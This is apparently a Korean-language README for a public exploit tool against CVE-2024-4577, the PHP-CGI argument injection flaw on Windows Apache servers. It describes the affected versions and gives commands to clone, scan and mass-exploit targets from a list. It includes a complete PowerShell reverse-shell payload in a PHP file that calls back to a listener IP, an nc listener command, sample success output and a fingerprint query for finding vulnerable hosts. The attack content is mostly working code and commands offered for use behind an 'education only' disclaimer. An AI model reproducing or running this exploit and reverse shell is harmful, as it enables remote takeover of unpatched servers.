
PHP CGI 인자 주입(CVE-2024-4577) 취약점을 위한 익스플로잇으로, Apache 및 PHP-CGI를 실행하는 취약한 Windows 서버에서 원격 코드 실행을 가능하게 합니다. 스캐닝, 익스플로잇, 리버스 셸 페이로드 전달 기능을 포함합니다.
PHP 8.1.* (8.1.29 미만), 8.2.* (8.2.20 미만), 8.3.* (8.3.8 미만) 버전에서 Windows에서 Apache와 PHP-CGI를 사용할 때, 시스템이 특정 코드 페이지를 사용하도록 설정된 경우 Windows는 Win32 API 함수에 전달된 명령줄의 문자를 대체하기 위해 "Best-Fit" 동작을 사용할 수 있습니다. PHP CGI 모듈은 이러한 문자를 PHP 옵션으로 잘못 해석하여 악의적인 사용자가 실행 중인 PHP 바이너리에 옵션을 전달할 수 있게 하고, 이를 통해 스크립트의 소스 코드를 유출하거나 서버에서 임의의 PHP 코드를 실행하는 등의 작업을 수행할 수 있습니다.
"XAMPP는 기본 구성에서 취약하며, /php-cgi/php-cgi.exe 엔드포인트를 대상으로 삼을 수 있습니다. .php 엔드포인트(예: /index.php)를 공격 대상으로 삼으려면 서버가 CGI 모드에서 PHP 스크립트를 실행하도록 구성되어 있어야 합니다."
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] 이 도구는 실제 공격 및 기술(TTP)을 시연합니다. 그러나 이 특정 페이로드 샘플은 이 시나리오에서 작동하지 않습니다. shell.php를 수정하여 완전히 작동하는 페이로드를 얻으십시오.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.